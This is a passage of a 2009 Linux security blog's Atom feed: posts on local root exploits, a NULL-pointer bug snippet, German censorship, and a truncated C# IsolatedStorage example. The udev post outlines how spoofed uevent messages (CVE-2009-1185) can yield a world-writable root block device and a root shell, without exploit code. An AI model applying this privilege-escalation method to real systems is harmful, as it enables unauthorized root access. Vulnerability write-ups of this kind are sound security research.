cannot&lt;br /&gt;approve these. So, please comment either in deutsch&lt;br /&gt;or in english.&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3606809368389861108-8530454624476761326?l=c-skills.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://c-skills.blogspot.com/feeds/8530454624476761326/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://www.blogger.com/comment.g?blogID=3606809368389861108&amp;postID=8530454624476761326' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/8530454624476761326'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/8530454624476761326'/><link rel='alternate' type='text/html' href='http://c-skills.blogspot.com/2009/07/unreadable-comments.html' title='unreadable comments'/><author><name>Icke</name><uri>http://www.blogger.com/profile/11886596387140041622</uri><email>noreply@blogger.com</email><gd:extendedProperty xmlns:gd='http://schemas.google.com/g/2005' name='OpenSocialUserId' value='09289356220260620493'/></author><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3606809368389861108.post-8038860214079883272</id><published>2009-07-19T02:35:00.000-07:00</published><updated>2009-07-19T03:09:52.920-07:00</updated><title type='text'>A .note on local root exploits</title><content type='html'>&lt;span style="font-family: courier new;"&gt;&lt;span style="font-weight: bold;"&gt;&lt;span style="font-weight: bold;"&gt;&lt;span style="font-weight: bold;"&gt;&lt;span style="font-weight: bold;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;There happened a lot of weird things and discussions&lt;br /&gt;during the last week. Not only a silly kernel/gcc&lt;br /&gt;combination attack was published by my favorite VJ;&lt;br /&gt;also a second issue was released by the google sec-team,&lt;br /&gt;which unfortunally was inside the same program that &lt;span style="font-style: italic;"&gt;spender&lt;/span&gt;&lt;br /&gt;used as an attack vector in one of the videos.&lt;br /&gt;&lt;br /&gt;At the end, its nice that there are (thanks god, I am not&lt;br /&gt;alone in this world!) people who seem to like/care&lt;br /&gt;about local root exploits. You should definitely&lt;br /&gt;have a look at &lt;a href="http://blog.cr0.org"&gt;Julien's blog&lt;/a&gt; (pulseuadio as well&lt;br /&gt;as the &lt;span style="font-style: italic;"&gt;mmap_min_addr&lt;/span&gt; postings).I feel like _uh,ohhh_&lt;br /&gt;that theres actually some people doing real things&lt;br /&gt;beside all the web 2.o, XSS and similar sillyness.&lt;br /&gt;&lt;br /&gt;As you might know (or not, who cares :) I like local&lt;br /&gt;root exploits. Every now and then I try to find some,&lt;br /&gt;and sometimes I am even successful. Not only two times&lt;br /&gt;so far, as some blogs try to suggest. :-)&lt;br /&gt;Surprinsingly it is not much harder than 10 years ago,&lt;br /&gt;if we do not count overflow/memory corruption bugs.&lt;br /&gt;The bugs just get more silly and most of the time they&lt;br /&gt;require a combination of multiple minor flaws. But&lt;br /&gt;thats exactly what makes the beauty of local root exploits.&lt;br /&gt;&lt;br /&gt;Some people do not honour them. They argue that only&lt;br /&gt;remote exploits are of interest. But these people probably&lt;br /&gt;never run a cluster or one of the top500's or found themself&lt;br /&gt;removing ssh backdoors on a weekend instead of having fun.&lt;br /&gt;&lt;br /&gt;A local vulnerability deservs the same update urgency&lt;br /&gt;as remote ones.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;span style="font-weight: bold;"&gt;&lt;span style="font-weight: bold;"&gt;&lt;span style="font-weight: bold;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3606809368389861108-8038860214079883272?l=c-skills.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://c-skills.blogspot.com/feeds/8038860214079883272/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://www.blogger.com/comment.g?blogID=3606809368389861108&amp;postID=8038860214079883272' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/8038860214079883272'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/8038860214079883272'/><link rel='alternate' type='text/html' href='http://c-skills.blogspot.com/2009/07/note-on-local-root-exploits.html' title='A .note on local root exploits'/><author><name>Icke</name><uri>http://www.blogger.com/profile/11886596387140041622</uri><email>noreply@blogger.com</email><gd:extendedProperty xmlns:gd='http://schemas.google.com/g/2005' name='OpenSocialUserId' value='09289356220260620493'/></author><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3606809368389861108.post-4088874148683050398</id><published>2009-07-15T03:33:00.000-07:00</published><updated>2009-07-15T03:47:20.176-07:00</updated><title type='text'>NULL ptr derefs are out!</title><content type='html'>&lt;span style="font-family: courier new;font-family:lucida grande;" &gt;Today, I was diving through some foreign code, and this made me remember my&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: courier new;font-family:lucida grande;" &gt;own mistakes:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;...&lt;/span&gt;&lt;br /&gt;&lt;pre&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;        &lt;/span&gt;&lt;span style="font-weight: bold; color: rgb(0, 0, 0);"&gt;while&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; ((start = strchr (start, &lt;/span&gt;&lt;span style="color: rgb(255, 0, 255);"&gt;'&amp;lt;'&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;))) {&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;                start += &lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;1&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;                &lt;/span&gt;&lt;span style="font-weight: bold; color: rgb(0, 0, 0);"&gt;if&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; (!start || !*start)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;                        &lt;/span&gt;&lt;span style="font-weight: bold; color: rgb(0, 0, 0);"&gt;break&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;;&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;&lt;span style="font-family:courier new;"&gt;...&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;funny, eh?&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3606809368389861108-4088874148683050398?l=c-skills.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://c-skills.blogspot.com/feeds/4088874148683050398/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://www.blogger.com/comment.g?blogID=3606809368389861108&amp;postID=4088874148683050398' title='4 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/4088874148683050398'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/4088874148683050398'/><link rel='alternate' type='text/html' href='http://c-skills.blogspot.com/2009/07/null-ptr-derefs-are-out.html' title='NULL ptr derefs are out!'/><author><name>Icke</name><uri>http://www.blogger.com/profile/11886596387140041622</uri><email>noreply@blogger.com</email><gd:extendedProperty xmlns:gd='http://schemas.google.com/g/2005' name='OpenSocialUserId' value='09289356220260620493'/></author><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3606809368389861108.post-4141158857224546302</id><published>2009-05-05T07:38:00.000-07:00</published><updated>2009-05-05T07:45:54.359-07:00</updated><title type='text'>Do not follow me on twitter</title><content type='html'>&lt;span style="font-family: courier new;"&gt;I just grabbed a login on twitter but I am probably&lt;br /&gt;not going to publish something there. Its just&lt;br /&gt;a place holder.&lt;br /&gt;&lt;br /&gt;I reviewed a lot of messaging code (&lt;span style="font-style: italic;"&gt;hal, upstart&lt;/span&gt; etc.) during the last few weeks&lt;br /&gt;as a post-handling of the &lt;span style="font-style: italic;"&gt;udev&lt;/span&gt; issue. I learned a lot and&lt;br /&gt;thats great, but no new &lt;span style="font-weight: bold;"&gt;interesting&lt;/span&gt; issues so far.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3606809368389861108-4141158857224546302?l=c-skills.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://c-skills.blogspot.com/feeds/4141158857224546302/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://www.blogger.com/comment.g?blogID=3606809368389861108&amp;postID=4141158857224546302' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/4141158857224546302'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/4141158857224546302'/><link rel='alternate' type='text/html' href='http://c-skills.blogspot.com/2009/05/do-not-follow-me-on-twitter.html' title='Do not follow me on twitter'/><author><name>Icke</name><uri>http://www.blogger.com/profile/11886596387140041622</uri><email>noreply@blogger.com</email><gd:extendedProperty xmlns:gd='http://schemas.google.com/g/2005' name='OpenSocialUserId' value='09289356220260620493'/></author><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3606809368389861108.post-3637056147158232631</id><published>2009-04-18T01:34:00.000-07:00</published><updated>2009-04-18T01:54:21.663-07:00</updated><title type='text'>New WWW censorship (f)laws in .de</title><content type='html'>&lt;span style="font-family: courier new;"&gt;I am usually not into politics, but today its necessary and I&lt;br /&gt;hope I am not forced too often to write such statements.&lt;br /&gt;Its about the german government introducing censorship&lt;br /&gt;into the WWW while big companies spy on their employees.&lt;br /&gt;Instead of bringing law to the people, flaw is brought to&lt;br /&gt;the people.&lt;br /&gt;&lt;br /&gt;Das Ministerium für Gedöhns (O-Ton Ex-Bukasch) hat es geschafft&lt;br /&gt;die deutschen Internetprovider zu Leymen. Brav unterzeichnen sie&lt;br /&gt;in der Majorität Knebelverträge mit dem BKA (Quelle Wikileaks).&lt;br /&gt;Komisch wie schnell soetwas geht, während Datenskandalen&lt;br /&gt;und Misswirtschaft anscheinend nicht beizukommen ist.&lt;br /&gt;Es ist wohl alles nur eine Frage des richtigen Leyms.&lt;br /&gt;Nach bekanntem Muster werden mal wieder eine handvoll Perversitäten&lt;br /&gt;oder Terroristen als Anlass genommen den Bürger noch&lt;br /&gt;ein Stück mehr zu gängeln.&lt;br /&gt;&lt;br /&gt;Mich würde rein technisch interessieren wieviel Latenz bereits&lt;br /&gt;jetzt durch genannte Sperren, Filter, Bundestrojaner,&lt;br /&gt;Vorratsdatenspeicherung, Legal-Interception Implementierungen usw.&lt;br /&gt;verloren geht. Wahrscheinlich ruft mich die T deshalb drei&lt;br /&gt;mal die Woche an, ob ich nicht auf VDSL upgraden möchte.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3606809368389861108-3637056147158232631?l=c-skills.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://c-skills.blogspot.com/feeds/3637056147158232631/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://www.blogger.com/comment.g?blogID=3606809368389861108&amp;postID=3637056147158232631' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/3637056147158232631'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/3637056147158232631'/><link rel='alternate' type='text/html' href='http://c-skills.blogspot.com/2009/04/new-www-censorship-flaws-in-de.html' title='New WWW censorship (f)laws in .de'/><author><name>Icke</name><uri>http://www.blogger.com/profile/11886596387140041622</uri><email>noreply@blogger.com</email><gd:extendedProperty xmlns:gd='http://schemas.google.com/g/2005' name='OpenSocialUserId' value='09289356220260620493'/></author><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3606809368389861108.post-2897785016762269699</id><published>2009-04-16T01:57:00.000-07:00</published><updated>2009-04-17T01:58:50.939-07:00</updated><title type='text'>udev trickery (CVE-2009-1185 and CVE-2009-1186)</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_DbsW_SGQJgI/Seb1xsEEHhI/AAAAAAAAAGQ/ynt0ge-WpTY/s1600-h/f10-youdev.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 300px;" src="http://3.bp.blogspot.com/_DbsW_SGQJgI/Seb1xsEEHhI/AAAAAAAAAGQ/ynt0ge-WpTY/s400/f10-youdev.jpg" alt="" id="BLOGGER_PHOTO_ID_5325213843402792466" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;While the &lt;/span&gt;&lt;span style="font-style: italic;font-family:courier new;" &gt;security industry &lt;/span&gt;&lt;span style="font-family:courier new;"&gt;is making weird statements about&lt;br /&gt;no-more-free-hugs and&lt;/span&gt;&lt;span style="font-family:courier new;"&gt; OSX vs. Windows exploitation fun,&lt;br /&gt;I add my two cents on UNIX exploitation.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;There have been two problems in all currently running &lt;/span&gt;&lt;span style="font-style: italic;font-family:courier new;" &gt;udevd&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;'s&lt;br /&gt;which are shipped on&lt;/span&gt;&lt;span style="font-family:courier new;"&gt; all major Linux distributions. Even if you&lt;br /&gt;install &lt;/span&gt;&lt;span style="font-weight: bold;font-family:courier new;" &gt;selinux&lt;/span&gt;&lt;span style="font-family:courier new;"&gt; or other hardening mechanisms,&lt;/span&gt;&lt;span style="font-family:courier new;"&gt; you are at risk&lt;br /&gt;(please see above screenshot on a targeted selinux config).&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;The first problem (CVE-2009-1185) appears since the origin of&lt;br /&gt;KOBJECT_UEVENT&lt;/span&gt;&lt;span style="font-family:courier new;"&gt; messages are not verified, so any user can spoof&lt;br /&gt;messages that udevd takes&lt;/span&gt;&lt;span style="font-family:courier new;"&gt; as granted from kernel. This allows&lt;br /&gt;some trickery to create a device named&lt;/span&gt;&lt;span style="font-style: italic;font-family:courier new;" &gt; /dev/random&lt;/span&gt;&lt;span style="font-family:courier new;"&gt; with permission&lt;br /&gt;&lt;span style="font-style: italic;"&gt;0666&lt;/span&gt; but major and minor number of your&lt;/span&gt;&lt;span style="font-family:courier new;"&gt; root blockdevice. The rest&lt;br /&gt;is code. Alternatively, CVE-2009-1186 could be exploited&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;which is a standard stack buffer overflow. Depending on the&lt;br /&gt;configuration of the system&lt;/span&gt;&lt;span style="font-family:courier new;"&gt; CVE-2009-1185 can also be exploited&lt;br /&gt;with weird network interface-names and&lt;/span&gt;&lt;span style="font-family:courier new;"&gt; alike so at the end,&lt;br /&gt;chrooted/jailed or PrivSep'ed users have good chance to get a full rootshell.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3606809368389861108-2897785016762269699?l=c-skills.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://c-skills.blogspot.com/feeds/2897785016762269699/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://www.blogger.com/comment.g?blogID=3606809368389861108&amp;postID=2897785016762269699' title='7 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/2897785016762269699'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3606809368389861108/posts/default/2897785016762269699'/><link rel='alternate' type='text/html' href='http://c-skills.blogspot.com/2009/04/udev-trickery-cve-2009-1185-and-cve.html' title='udev trickery (CVE-2009-1185 and CVE-2009-1186)'/><author><name>Icke</name><uri>http://www.blogger.com/profile/11886596387140041622</uri><email>noreply@blogger.com</email><gd:extendedProperty xmlns:gd='http://schemas.google.com/g/2005' name='OpenSocialUserId' value='09289356220260620493'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_DbsW_SGQJgI/Seb1xsEEHhI/AAAAAAAAAGQ/ynt0ge-WpTY/s72-c/f10-youdev.jpg' height='72' width='72'/><thr:total xmlns:thr='http://purl.org/syndication/thread/1.0'>7</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3606809368389861108.post-8544642305299465204</id><published>2009-03-24T08:16:00.000-07:00</published><updated>2009-03-24T08:45:08.416-07:00</updated><title type='text'>sharpen your .NET skills</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_DbsW_SGQJgI/Scj9iBRDVFI/AAAAAAAAAGI/HQEix2KGejI/s1600-h/is.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 150px;" src="http://2.bp.blogspot.com/_DbsW_SGQJgI/Scj9iBRDVFI/AAAAAAAAAGI/HQEix2KGejI/s400/is.jpg" alt="" id="BLOGGER_PHOTO_ID_5316778121008206930" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;I have had dozens of discussions about C#; being a secure&lt;br /&gt;language and that CLR/VM based languages should be used&lt;br /&gt;with new projects in order to increase security. One argument&lt;br /&gt;is that memory corruption can't happen any longer.&lt;br /&gt;I agree, but always point out that C# code is not secure&lt;br /&gt;automagically, even if the programmers code is correct.&lt;br /&gt;The runtime might be buggy as well! I recently read an&lt;br /&gt;article in the famous german iX magazine about security measurements&lt;br /&gt;in .NET. One of the measures is the so called &lt;span style="font-style: italic;"&gt;IsolatedStorage&lt;br /&gt;&lt;/span&gt;which allows you to store data in a secure way. Much like&lt;br /&gt;a database, based on a token you can store/retrieve data&lt;br /&gt;without your real filesystem being at risk. Nice thing,&lt;br /&gt;and I coded an example-server:&lt;br /&gt;&lt;pre&gt;&lt;span style="font-weight: bold; color: rgb(0, 0, 0);"&gt;using&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; System;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(0, 0, 0);"&gt;using&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; System.&lt;/span&gt;&lt;span style="color: rgb(0, 0, 128);"&gt;Net&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(0, 0, 0);"&gt;using&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; System.&lt;/span&gt;&lt;span style="color: rgb(0, 0, 128);"&gt;Net&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 0, 128);"&gt;Sockets&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(0, 0, 0);"&gt;using&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; System.&lt;/span&gt;&lt;span style="color: rgb(0, 0, 128);"&gt;Text&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(0, 0, 0);"&gt;using&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; System.&lt;/span&gt;&lt;span style="color: rgb(0, 0, 128);"&gt;IO&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(0, 0, 0);"&gt;using&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; System.&lt;/span&gt;&lt;span style="color: rgb(0, 0, 128);"&gt;IO&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;.&lt;/span&gt;&lt;span style="color: rgb(0, 0, 128);"&gt;IsolatedStorage&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; color: rgb(0, 0, 0);"&gt;class&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; Server {&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  &lt;/span&gt;&lt;span style="font-weight: bold; color: rgb(0, 0, 0);"&gt;private&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="font-weight: bold; color: rgb(0, 0, 0);"&gt;static&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;void&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 0, 128);"&gt;store&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;string&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; key, Byte[] b)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  {&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;          &lt;/span&gt;&lt;span style="font-weight: bold; color: rgb(0, 0, 0);"&gt;try&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; {&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;                  Console.&lt;/span&gt;&lt;span style="color: rgb(0, 0, 128);"&gt;WriteLine&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;"Isolated storage @ {0}"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;, key);&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;                  IsolatedStorageFileStream fs = &lt;/span&gt;&lt;span style="font-weight: bold; color: rgb(0, 0, 0);"&gt;new&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 0, 128);"&gt;IsolatedStorageFileStream&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;(key, FileMode.&lt;/span&gt;&lt;span style="color: rgb(0, 0, 128);"&gt;Create&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;);&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;                  fs.&lt;/span&gt;&lt;span style="color: rgb(0, 0, 128);"&gt;Write&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;(b, &lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;, b.&lt;/span&gt;&lt;span style="color: rgb(0, 0, 128);"&gt;Length&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;);&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;                  fs.&lt;/span&gt;&lt;span style="color: rgb(0, 0, 128);"&gt;Close&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;();   &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;          } &lt;/span&gt;&lt;span style="font-weight: bold; color: rgb(0, 0, 0);"&gt;catch&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; {&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;                  Console.&lt;/span&gt;&lt;span style="color: rgb(0, 0, 128);"&gt;WriteLine&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;"Exception!"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;);&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;          }&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  }&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  &lt;/span&gt;&lt;span style="font-weight: bold; color: rgb(0, 0, 0);"&gt;private&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="font-weight: bold; color: rgb(0, 0, 0);"&gt;static&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; Byte[] &lt;/span&gt;&lt;span style="color: rgb(0, 0, 128);"&gt;load&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(128, 0, 0);"&gt;string&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; key)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;  {&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;          Byte[] b = &lt;/span&gt;&lt;span style="font-weight: bold; color: rgb(0, 0, 0);"&gt;new&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; Byte[&lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;256&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;];&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;          &lt;/span&gt;&lt;span style="font-weight: bold; color: rgb(0, 0, 0);"&gt;try&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; {&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;                  Console.&lt;/span&gt;&lt;span style="color: rgb(0, 0, 128);"&gt;WriteLine&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;"IsolatedStorage load @ {0}"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;, key);&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;                  IsolatedStorageFileStream fs = &lt;/span&gt;&lt;span style="font-weight: bold; color: rgb(0, 0, 0);"&gt;new&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(0, 0, 128);"&gt;IsolatedStorageFileStream&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;(key, FileMode.&lt;/span&gt;&lt;span style="color: rgb(0, 0, 128);"&gt;Open&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;);&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;                  fs.&lt;/span&gt;&lt;span style="color: rgb(0, 0, 128);"&gt;Read&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;(b, &lt;/span&gt;&lt;span style="color: rgb(0, 0, 255);"&gt;0&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;, b.&lt;/span&gt;&lt;span style="color: rgb(0, 0, 128);"&gt;Length&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;);&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;                  fs.&lt;/span&gt;&lt;span style="color: rgb(0, 0, 128);"&gt;Close&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;();   &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;          } &lt;/span&gt;&lt;span style="font-weight: bold; color: rgb(0, 0, 0);"&gt;catch&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt; {&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;                  Console.&lt;/span&gt;&lt;span style="color: rgb(0, 0, 128);"&gt;WriteLine&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;"Exception!"&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;);&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;          }&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;          &lt;/span&gt;&lt;span style="font-weight: bold; color: rgb(0, 0, 